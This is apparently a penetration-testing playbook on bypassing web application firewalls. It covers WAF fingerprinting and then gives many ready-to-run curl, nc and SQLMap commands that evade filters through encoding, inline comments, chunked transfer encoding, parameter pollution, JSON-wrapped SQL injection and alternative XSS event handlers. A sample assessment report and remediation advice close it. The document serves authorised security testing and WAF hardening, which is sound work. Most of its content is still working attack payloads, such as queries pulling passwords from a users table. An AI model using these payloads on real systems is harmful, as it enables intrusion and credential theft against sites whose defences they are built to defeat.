Performing Web Application Firewall Bypass
When to Use
- When confirmed vulnerabilities are blocked by WAF signature-based detection
- During penetration testing where WAF prevents exploitation of known issues
- When evaluating WAF rule effectiveness against evasion techniques
- During red team engagements requiring bypass of perimeter security controls
- When testing custom WAF rules for completeness and bypass resistance
Prerequisites
- Burp Suite Professional with SQLMap integration
- wafw00f for WAF fingerprinting and identification
- SQLMap with tamper scripts for automated WAF bypass
- Understanding of WAF detection mechanisms (signature, regex, behavioral)
- Collection of encoding and obfuscation techniques per attack type
- Knowledge of HTTP protocol nuances exploitable for evasion
Workflow
Step 1 — Identify and Fingerprint the WAF
# Detect WAF using wafw00f
wafw00f http://target.com
# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge
# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie
Step 2 — Bypass with Encoding and Obfuscation
# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
# HTML entity encoding in body
curl -X POST http://target.com/search \
-d "q=<script>alert(1)</script>"
# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"
# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
Step 3 — Bypass with HTTP Method and Protocol Tricks
# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
# Content-Type manipulation
curl -X POST http://target.com/page \
-H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
-d "id=1' OR 1=1--"
# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
-F "id=1' OR 1=1--"
# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
Step 4 — Bypass with Payload Splitting and HPP
# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
-H "Content-Type: application/json" \
-d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt":"", "$where":"1==1"}}'
# XML-wrapped payloads
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d "<data><id>1' UNION SELECT password FROM users--</id></data>"
Step 5 — Use SQLMap Tamper Scripts
# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between
# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
--tamper=randomcase,space2comment,between,charunicodeencode \
--random-agent --level 5 --risk 3
# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,randomcase \
--delay=2 --random-agent \
--technique=B --batch
Step 6 — XSS WAF Bypass Techniques
# Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"
# Event handler alternatives
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"
# JavaScript URI scheme
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"
# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"
# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"
# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x onerror=alert(1)>"
# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
Key Concepts
| Concept | Description |
|---|
| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |
| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |
| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |
| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |
| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |
| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |
| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |
Tools & Systems
| Tool | Purpose |
|---|
| wafw00f | WAF fingerprinting and identification |
| SQLMap | Automated SQL injection with WAF bypass tamper scripts |
| waf-bypass.com | Community-maintained WAF bypass payload database |
| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |
| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |
| XSStrike | XSS scanner with WAF detection and bypass capabilities |
Common Scenarios
- SQLi Through JSON — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules
- XSS via Event Handlers — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules
- Encoding Chain Bypass — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF
- Chunked Transfer Bypass — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching
- Method Override — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect
Output Format
## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes
### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |
### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |
### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation
